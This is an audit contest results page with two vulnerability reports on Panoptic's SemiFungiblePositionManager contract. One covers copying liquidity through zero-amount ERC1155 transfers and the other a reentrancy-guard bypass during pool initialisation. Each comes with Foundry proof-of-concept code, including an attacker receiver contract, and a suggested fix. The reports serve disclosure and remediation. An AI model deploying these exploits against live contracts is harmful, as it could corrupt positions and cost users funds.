Panoptic - SpicyMeatball's results

Lines of code

https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L621-L630

Vulnerability details

Impact

SFPM contract allows creation and transaction of complex Uniswap V3 positions. One of it's features is the storing of the position liquidity in s_accountLiquidity[positionKey], where positionKey is keccak256 encoded parameters (ticks, token, pool). It is a uint256 value that is split in two uint128's, left part is removedLiquidity (liquidity that was used for buys e.g. removed from AMM), right part is startingLiquidity (liquidity that was sold e.g. added to AMM). https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L621-L630 Depending on the order, long or short, we update this two parts, for example if seller creates a short order with X liquidity he adds X to AMM pool and we add this value to the right part

            if (isLong == 0) {
                // selling/short: so move from msg.sender *to* uniswap
                // we're minting more liquidity in uniswap: so add the incoming liquidity chunk to the existing liquidity chunk
                updatedLiquidity = startingLiquidity + chunkLiquidity;

if buyer buys this position we subtract from startingLiquidity and add the same value to the removedLiquidity

                } else {
                    // we want to move less than what already sits in uniswap, no problem:
                    updatedLiquidity = startingLiquidity - chunkLiquidity;
                }

                /// @dev If the isLong flag is 1=long and the position is minted, then this is opening a long position
                /// @dev so the amount of short liquidity should increase.
                if (!_isBurn) {
                    removedLiquidity += chunkLiquidity;
                }

Imagine a situation where the user minted a long position with all available liquidity X, making removedLiquidity = X, startingLiquidity = 0, he will be able to transfer removedLiquidity to another account without transfering any SFPM tokens. There is a condition in transfer hook that checks sender liquidity and reverts on partial transfers https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L621-L630

            uint256 fromLiq = s_accountLiquidity[positionKey_from];
            if (fromLiq.rightSlot() != liquidityChunk.liquidity()) revert Errors.TransferFailed();

but that doesn't apply to removedLiquidity and since the right slot is zero we can send 0 tokens, in the same hook we clone sender's position to the recipient mappings

            s_accountLiquidity[positionKey_to] = fromLiq;
            s_accountLiquidity[positionKey_from] = 0;

            s_accountFeesBase[positionKey_to] = fromBase;
            s_accountFeesBase[positionKey_from] = 0;

As for the sender his s_accountLiquidity is zeroed.

            if (isLong == 0) {
                // selling/short: so move from msg.sender *to* uniswap
                // we're minting more liquidity in uniswap: so add the incoming liquidity chunk to the existing liquidity chunk
                updatedLiquidity = startingLiquidity + chunkLiquidity;

                /// @dev If the isLong flag is 0=short but the position was burnt, then this is closing a long position
                /// @dev so the amount of short liquidity should decrease.
                if (_isBurn) {
                    removedLiquidity -= chunkLiquidity;
                }

As a result the sender will copy his position to another account while maintaining his SFPM tokens balance.

Proof of Concept

Check this SemiFungiblePositionManager.t.sol test case

    function testTransferRemovedLiquidity() public {
        _initPool(0);

        (int24 width, int24 strike) = PositionUtils.getOutOfRangeSW(
            0,
            0,
            uint24(tickSpacing),
            currentTick
        );

        populatePositionData(width, strike, 10e18);
        uint256 tokenIdShort = uint256(0).addUniv3pool(poolId).addLeg(0, 1, isWETH, 0, 1, 0, strike, width);
        uint256 tokenIdLong = uint256(0).addUniv3pool(poolId).addLeg(0, 1, isWETH, 1, 1, 0, strike, width);

        vm.startPrank(Alice);
        sfpm.mintTokenizedPosition(tokenIdShort, uint128(10e18), TickMath.MIN_TICK, TickMath.MAX_TICK);
        sfpm.mintTokenizedPosition(tokenIdLong, uint128(10e18), TickMath.MIN_TICK, TickMath.MAX_TICK);
        
        sfpm.safeTransferFrom(Alice, Bob, tokenIdLong, 0, "");

        uint256 accountLiquidities = sfpm.getAccountLiquidity(
            address(pool),
            Alice,
            1,
            tickLower,
            tickUpper
        );
        
        console.log("ALICE SFPM BALANCE: ", sfpm.balanceOf(Alice, tokenIdLong));
        console.log("ALICE REMOVED LIQ: ", accountLiquidities.leftSlot());
        console.log("ALICE NET LIQ: ", accountLiquidities.rightSlot());

        accountLiquidities = sfpm.getAccountLiquidity(
            address(pool),
            Bob,
            1,
            tickLower,
            tickUpper
        );
        console.log("BOB SFPM BALANCE: ", sfpm.balanceOf(Bob, tokenIdLong));
        console.log("BOB REMOVED LIQ: ", accountLiquidities.leftSlot());
        console.log("BOB NET LIQ: ", accountLiquidities.rightSlot());
    }

Tools Used

Foundry

Recommended Mitigation Steps

We should restrict zero amount ERC1155 transfers, this will also be in accordance with the EIP-1155 standard where such transfer are not allowed.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L483 https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L517 https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L375-L378

Vulnerability details

Impact

SFPM contract has 2 state altering functions that are available to users:

• burnTokenizedPosition;
• mintTokenizedPosition;

They allow users to burn and mint ERC1155 tokens, both of them are protected by reentrancy guard that checks if mint/burn function for the specified poolId is in use

    modifier ReentrancyLock(uint64 poolId) {
        // check if the pool is already locked
        // init lock if not
        beginReentrancyLock(poolId);

        // execute function
        _;

        // remove lock
        endReentrancyLock(poolId);
    }

    /// @notice Add reentrancy lock on pool
    /// @dev reverts if the pool is already locked
    /// @param poolId The poolId of the pool to add the reentrancy lock to
    function beginReentrancyLock(uint64 poolId) internal {
        // check if the pool is already locked, if so, revert
        if (s_poolContext[poolId].locked) revert Errors.ReentrantCall();

        // activate lock
        s_poolContext[poolId].locked = true;
    }

    /// @notice Remove reentrancy lock on pool
    /// @param poolId The poolId of the pool to remove the reentrancy lock from
    function endReentrancyLock(uint64 poolId) internal {
        // gas refund is triggered here by returning the slot to its original value
        s_poolContext[poolId].locked = false;
    }

However, this guard can be bypassed if the user is minting token for the uniswap pool that hasn't yet been initialized, this way he can initialize it, reset the guard flag, and call mint or burn again, all inside the ERC1155 receiver callback.

https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L375-L378

        s_poolContext[poolId] = PoolAddressAndLock({
            pool: IUniswapV3Pool(univ3pool),
            locked: false
        });

Although I was unable to exploit this bug, it still leaves room for a more experienced attacker, so I mark this finding as medium.

Proof of Concept

Check this test case for SemiFungiblePositionManager.t.sol

    function testReentrancy() public {
        IUniswapV3Pool pool = USDC_WETH_5;
        token0 = pool.token0();
        token1 = pool.token1();
        fee = pool.fee();
        poolId = PanopticMath.getPoolId(address(pool));
        (currentSqrtPriceX96, currentTick, , , , , ) = pool.slot0();

        (int24 width, int24 strike) = PositionUtils.getOutOfRangeSW(
            0,
            0,
            uint24(10),
            currentTick
        );
        console.logInt(currentTick);
        console.logInt(strike);
        console.logInt(width);
        uint256 tokenId = uint256(0).addUniv3pool(poolId).addLeg(0, 1, 1, 0, 1, 0, strike, width);
        SFPMReceiver receiver = new SFPMReceiver(sfpm, IERC20(token0), IERC20(token1), fee, tokenId);
        deal(token0, Alice, 100000e6);
        deal(token1, Alice, 100e18);

        vm.startPrank(Alice);
        IERC20(token0).transfer(address(receiver), 100000e6);
        IERC20(token1).transfer(address(receiver), 100e18);

        receiver.mintSFPM(10e18);
    }

SFPMReceiver contract

contract SFPMReceiver {
    SemiFungiblePositionManager sfpm;
    IERC20 token0;
    IERC20 token1;
    uint24 fee;
    uint256 tokenId;
    bool reenter;
    
    constructor(SemiFungiblePositionManager _sfpm, IERC20 _token0, IERC20 _token1, uint24 _fee, uint256 _tokenId) {
        sfpm = _sfpm;
        tokenId = _tokenId;
        token0 = _token0;
        token1 = _token1;
        fee = _fee;
        token0.approve(address(sfpm), type(uint256).max);
        token1.approve(address(sfpm), type(uint256).max);
    }

    function mintSFPM(uint128 amount) external {
        reenter = true;
        sfpm.mintTokenizedPosition(tokenId, amount, int24(0), type(int24).max); 
    }

    function onERC1155Received(address operator, address from, uint256 id, uint256 amount, bytes memory data) external returns(bytes4){
        if(reenter){
            reenter = false;
            sfpm.initializeAMMPool(address(token0), address(token1), fee);
            sfpm.mintTokenizedPosition(tokenId, uint128(amount), int24(0), type(int24).max); 
        }
        return this.onERC1155Received.selector;    
    }
}

Tools Used

Foundry

Recommended Mitigation Steps

Consider moving _mint to the bottom of mintTokenizedPosition

Assessed type

Reentrancy